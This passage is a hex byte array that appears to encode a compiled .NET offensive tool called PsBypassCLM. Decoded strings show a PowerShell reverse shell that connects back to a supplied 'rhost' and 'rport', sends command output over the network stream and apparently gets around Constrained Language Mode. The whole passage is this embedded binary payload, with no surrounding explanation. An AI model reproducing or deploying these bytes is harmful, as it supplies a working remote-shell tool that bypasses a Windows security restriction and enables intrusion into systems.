x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x63,0x00,0x61,0x00,0x74,0x00,0x63,0x00,0x68,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x54,0x00,0x6F,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x29,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x49,0x00,0x6E,0x00,0x76,0x00,0x6F,0x00,0x63,0x00,0x61,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x2E,0x00,0x50,0x00,0x6F,0x00,0x73,0x00,0x69,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x4D,0x00,0x65,0x00,0x73,0x00,0x73,0x00,0x61,0x00,0x67,0x00,0x65,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x20,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x20,0x00,0x22,0x00,0x45,0x00,0x52,0x00,0x52,0x00,0x4F,0x00,0x52,0x00,0x3A,0x00,0x20,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x24,0x00,0x65,0x00,0x72,0x00,0x72,0x00,0x6F,0x00,0x72,0x00,0x5B,0x00,0x30,0x00,0x5D,0x00,0x2E,0x00,0x54,0x00,0x6F,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x28,0x00,0x29,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x22,0x00,0x60,0x00,0x6E,0x00,0x60,0x00,0x6E,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x22,0x00,0x50,0x00,0x53,0x00,0x20,0x00,0x22,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x28,0x00,0x70,0x00,0x77,0x00,0x64,0x00,0x29,0x00,0x2E,0x00,0x50,0x00,0x61,0x00,0x74,0x00,0x68,0x00,0x20,0x00,0x2B,0x00,0x20,0x00,0x27,0x00,0x3E,0x00,0x20,0x00,0x27,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x09,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x20,0x00,0x3D,0x00,0x20,0x00,0x28,0x00,0x5B,0x00,0x74,0x00,0x65,0x00,0x78,0x00,0x74,0x00,0x2E,0x00,0x65,0x00,0x6E,0x00,0x63,0x00,0x6F,0x00,0x64,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x5D,0x00,0x3A,0x00,0x3A,0x00,0x41,0x00,0x53,0x00,0x43,0x00,0x49,0x00,0x49,0x00,0x29,0x00,0x2E,0x00,0x47,0x00,0x65,0x00,0x74,0x00,0x42,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x73,0x00,0x28,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x32,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x57,0x00,0x72,0x00,0x69,0x00,0x74,0x00,0x65,0x00,0x28,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x2C,0x00,0x30,0x00,0x2C,0x00,0x24,0x00,0x73,0x00,0x65,0x00,0x6E,0x00,0x64,0x00,0x62,0x00,0x79,0x00,0x74,0x00,0x65,0x00,0x2E,0x00,0x4C,0x00,0x65,0x00,0x6E,0x00,0x67,0x00,0x74,0x00,0x68,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x09,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x73,0x00,0x74,0x00,0x72,0x00,0x65,0x00,0x61,0x00,0x6D,0x00,0x2E,0x00,0x46,0x00,0x6C,0x00,0x75,0x00,0x73,0x00,0x68,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x7D,0x00,0x3B,0x00,0x0D,0x00,0x0A,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x20,0x00,0x24,0x00,0x63,0x00,0x6C,0x00,0x69,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x2E,0x00,0x43,0x00,0x6C,0x00,0x6F,0x00,0x73,0x00,0x65,0x00,0x28,0x00,0x29,0x00,0x3B,0x00,0x01,0x51,0x54,0x00,0x79,0x00,0x70,0x00,0x65,0x00,0x20,0x00,0x79,0x00,0x6F,0x00,0x75,0x00,0x72,0x00,0x20,0x00,0x50,0x00,0x30,0x00,0x77,0x00,0x33,0x00,0x72,0x00,0x53,0x00,0x68,0x00,0x33,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6D,0x00,0x6D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x20,0x00,0x64,0x00,0x6F,0x00,0x77,0x00,0x6E,0x00,0x20,0x00,0x68,0x00,0x65,0x00,0x72,0x00,0x65,0x00,0x20,0x00,0x0A,0x00,0x00,0x0F,0x7B,0x00,0x52,0x00,0x48,0x00,0x4F,0x00,0x53,0x00,0x54,0x00,0x7D,0x00,0x00,0x0D,0x7B,0x00,0x50,0x00,0x4F,0x00,0x52,0x00,0x54,0x00,0x7D,0x00,0x00,0x0B,0x50,0x00,0x53,0x00,0x20,0x00,0x3E,0x00,0x20,0x00,0x00,0x15,0x4F,0x00,0x75,0x00,0x74,0x00,0x2D,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x01,0x35,0x54,0x00,0x72,0x00,0x79,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x20,0x00,0x74,0x00,0x6F,0x00,0x20,0x00,0x63,0x00,0x6F,0x00,0x6E,0x00,0x6E,0x00,0x65,0x00,0x63,0x00,0x74,0x00,0x20,0x00,0x62,0x00,0x61,0x00,0x63,0x00,0x6B,0x00,0x2E,0x00,0x2E,0x00,0x2E,0x00,0x0A,0x00,0x00,0x07,0x7B,0x00,0x30,0x00,0x7D,0x00,0x00,0x09,0x65,0x00,0x78,0x00,0x69,0x00,0x74,0x00,0x00,0x11,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x00,0x0B,0x72,0x00,0x68,0x00,0x6F,0x00,0x73,0x00,0x74,0x00,0x00,0x5B,0x4D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x6F,0x00,0x72,0x00,0x79,0x00,0x20,0x00,0x70,0x00,0x61,0x00,0x72,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x27,0x00,0x72,0x00,0x68,0x00,0x6F,0x00,0x73,0x00,0x74,0x00,0x27,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x6D,0x00,0x6F,0x00,0x64,0x00,0x65,0x00,0x01,0x0B,0x72,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x00,0x59,0x4D,0x00,0x61,0x00,0x6E,0x00,0x64,0x00,0x61,0x00,0x74,0x00,0x6F,0x00,0x72,0x00,0x79,0x00,0x20,0x00,0x70,0x00,0x61,0x00,0x72,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x74,0x00,0x65,0x00,0x72,0x00,0x20,0x00,0x27,0x00,0x70,0x00,0x6F,0x00,0x72,0x00,0x74,0x00,0x27,0x00,0x20,0x00,0x66,0x00,0x6F,0x00,0x72,0x00,0x20,0x00,0x72,0x00,0x65,0x00,0x76,0x00,0x73,0x00,0x68,0x00,0x65,0x00,0x6C,0x00,0x6C,0x00,0x20,0x00,0x6D,0x00,0x6F,0x00,0x64,0x00,0x65,0x00,0x01,0x00,0x00,0x00,0xEB,0xE0,0x7B,0x83,0x5F,0xA0,0xB0,0x43,0x96,0x59,0x1F,0xC0,0xEF,0x7F,0xE8,0x62,0x00,0x04,0x20,0x01,0x01,0x08,0x03,0x20,0x00,0x01,0x05,0x20,0x01,0x01,0x11,0x11,0x04,0x20,0x01,0x01,0x0E,0x04,0x20,0x01,0x01,0x02,0x17,0x07,0x0B,0x0E,0x0E,0x0E,0x02,0x12,0x45,0x0E,0x12,0x49,0x12,0x4D,0x15,0x12,0x51,0x01,0x12,0x55,0x12,0x55,0x12,0x59,0x04,0x00,0x01,0x02,0x0E,0x04,0x00,0x00,0x12,0x45,0x05,0x20,0x01,0x01,0x12,0x45,0x09,0x20,0x01,0x15,0x12,0x75,0x01,0x12,0x55,0x0E,0x04,0x00,0x01,0x01,0x0E,0x05,0x20,0x02,0x0E,0x0E,0x0E,0x03,0x00,0x00,0x0E,0x04,0x20,0x00,0x12,0x49,0x04,0x20,0x00,0x12,0x7D,0x08,0x20,0x00,0x15,0x12,0x75,0x01,0x12,0x55,0x06,0x15,0x12,0x75,0x01,0x12,0x55,0x08,0x20,0x00,0x15,0x12,0x51,0x01,0x13,0x00,0x06,0x15,0x12,0x51,0x01,0x12,0x55,0x04,0x20,0x00,0x13,0x00,0x03,0x20,0x00,0x0E,0x05,0x20,0x01,0x12,0x4D,0x0E,0x03,0x20,0x00,0x02,0x05,0x00,0x02,0x01,0x0E,0x1C,0x05,0x00,0x02,0x02,0x0E,0x0E,0x04,0x07,0x02,0x0E,0x0E,0x05,0x20,0x00,0x12,0x80,0x89,0x05,0x20,0x00,0x12,0x80,0x8D,0x04,0x20,0x01,0x0E,0x0E,0x08,0xB7,0x7A,0x5C,0x56,0x19,0x34,0xE0,0x89,0x08,0x31,0xBF,0x38,0x56,0xAD,0x36,0x4E,0x35,0x08,0xB0,0x3F,0x5F,0x7F,0x11,0xD5,0x0A,0x3A,0x05,0x00,0x01,0x01,0x1D,0x0E,0x05,0x20,0x01,0x01,0x12,0x65,0x08,0x01,0x00,0x08,0x00,0x00,0x00,0x00,0x00,0x1E,0x01,0x00,0x01,0x00,0x54,0x02,0x16,0x57,0x72,0x61,0x70,0x4E,0x6F,0x6E,0x45,0x78,0x63,0x65,0x70,0x74,0x69,0x6F,0x6E,0x54,0x68,0x72,0x6F,0x77,0x73,0x01,0x08,0x01,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x0A,0x01,0x00,0x05,0x50,0x73,0x42,0x79,0x32,0x00,0x00,0x05,0x01,0x00,0x00,0x00,0x00,0x17,0x01,0x00,0x12,0x43,0x6F,0x70,0x79,0x72,0x69,0x67,0x68,0x74,0x20,0xC2,0xA9,0x20,0x20,0x32,0x30,0x31,0x38,0x00,0x00,0x29,0x01,0x00,0x24,0x34,0x36,0x30,0x33,0x34,0x30,0x33,0x38,0x2D,0x30,0x31,0x31,0x33,0x2D,0x34,0x64,0x37,0x35,0x2D,0x38,0x31,0x66,0x64,0x2D,0x65,0x62,0x33,0x62,0x34,0x38,0x33,0x66,0x32,0x36,0x36,0x32,0x00,0x00,0x0C,0x01,0x00,0x07,0x31,0x2E,0x30,0x2E,0x30,0x2E,0x30,0x00,0x00,0x49,0x01,0x00,0x1A,0x2E,0x4E,0x45,0x54,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x2C,0x56,0x65,0x72,0x73,0x69,0x6F,0x6E,0x3D,0x76,0x34,0x2E,0x35,0x01,0x00,0x54,0x0E,0x14,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x44,0x69,0x73,0x70,0x6C,0x61,0x79,0x4E,0x61,0x6D,0x65,0x12,0x2E,0x4E,0x45,0x54,0x20,0x46,0x72,0x61,0x6D,0x65,0x77,0x6F,0x72,0x6B,0x20,0x34,0x2E,0x35,0x05,0x01,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD0,0x95,0xEC,0x5F,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x1C,0x01,0x00,0x00,0x20,0x3B,0x00,0x00,0x20,0x1D,0x00,0x00,0x52,0x53,0x44,0x53,0xC3,0x49,0xF6,0x6C,0x98,0x26,0x53,0x44,0xA3,0xF3,0x11,0x2C,0x19,0xB4,0x61,0x35,0x01,0x00,0x00,0x00,0x43,0x3A,0x5C,0x74,0x65,0x6D,0x70,0x5C,0x50,0x53,0x42,0x79,0x50,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2D,0x6D,0x61,0x73,0x74,0x65,0x72,0x5C,0x50,0x53,0x42,0x79,0x50,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2D,0x6D,0x61,0x73,0x74,0x65,0x72,0x5C,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x5C,0x50,0x53,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x5C,0x6F,0x62,0x6A,0x5C,0x52,0x65,0x6C,0x65,0x61,0x73,0x65,0x5C,0x50,0x73,0x42,0x79,0x70,0x61,0x73,0x73,0x43,0x4C,0x4D,0x2E,0x70,0x64,0x62,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x64,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7E,0x3C,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x3C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x5F,0x43,0x6F,0x72,0x45,0x78,0x65,0x4D,0x61,0x69,0x6E,0x00,0x6D,0x73,0x63,0x6F,0x72,0x65,0x65,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x00,0xFF,0x25,0x00,0x20,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x10,0x00,0x00,0x00,0x20,0x00,0x00,0x80,0x18,0x00,0x00,0x00,0x50,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x38,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x68,0x00,0x00,0x80,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0xA4,0x03,0x00,0x00,0x90,0x40,0x00,0x00,0x14,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x03,0x34,0x00,0x00,0x00,0x56,0x00,0x53,0x00,0x5F,0x00,0x56,0x00,0x45,0x00,0x52,0x00,0x53,0x00,0x49,0x00,0x4F,0x00,0x4E,0x00,0x5F,0x00,0x49,0x00,0x4E,0x00,0x46,0x00,0x4F,0x00,0x00,0x00,0x00,0x00,0xBD,0x04,0xEF,0xFE,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x3F,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x01,0x00,0x56,0x00,0x61,0x00,0x72,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x00,0x00,0x00,0x00,0x24,0x00,0x04,0x00,0x00,0x00,0x54,0x00,0x72,0x00,0x61,0x00,0x6E,0x00,0x73,0x00,0x6C,0x00,0x61,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB0,0x04,0x74,0x02,0x00,0x00,0x01,0x00,0x53,0x00,0x74,0x00,0x72,0x00,0x69,0x00,0x6E,0x00,0x67,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x49,0x00,0x6E,0x00,0x66,0x00,0x6F,0x00,0x00,0x00,0x50,0x02,0x00,0x00,0x01,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x34,0x00,0x62,0x00,0x30,0x00,0x00,0x00,0x1A,0x00,0x01,0x00,0x01,0x00,0x43,0x00,0x6F,0x00,0x6D,0x00,0x6D,0x00,0x65,0x00,0x6E,0x00,0x74,0x00,0x73,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x22,0x00,0x01,0x00,0x01,0x00,0x43,0x00,0x6F,0x00,0x6D,0x00,0x70,0x00,0x61,0x00,0x6E,0x00,0x79,0x00,0x4E,0x00,0x61,0x00,0x6D,0x00,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x34,0x00,0x06,0x00,0x01,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x44,0x00,0x65,0x00,0x73,0x00,0x63,0x00,0x72,0x00,0x69,0x00,0x70,0x00,0x74,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x50,0x00,0x73,0x00,0x42,0x00,0x79,0x00,0x32,0x00,0x00,0x00,0x30,0x00,0x08,0x00,0x01,0x00,0x46,0x00,0x69,0x00,0x6C,0x00,0x65,0x00,0x56,0x00,0x65,0x00,0x72,0x00,0x73,0x00,0x69,0x00,0x6F,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0x31,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x2E,0x00,0x30,0x00,0x00,0x00,0x40,0x00,0x10,0x00,0x01,0x00,0x49,0x00,0x6E,0x00,0x74,0x00,0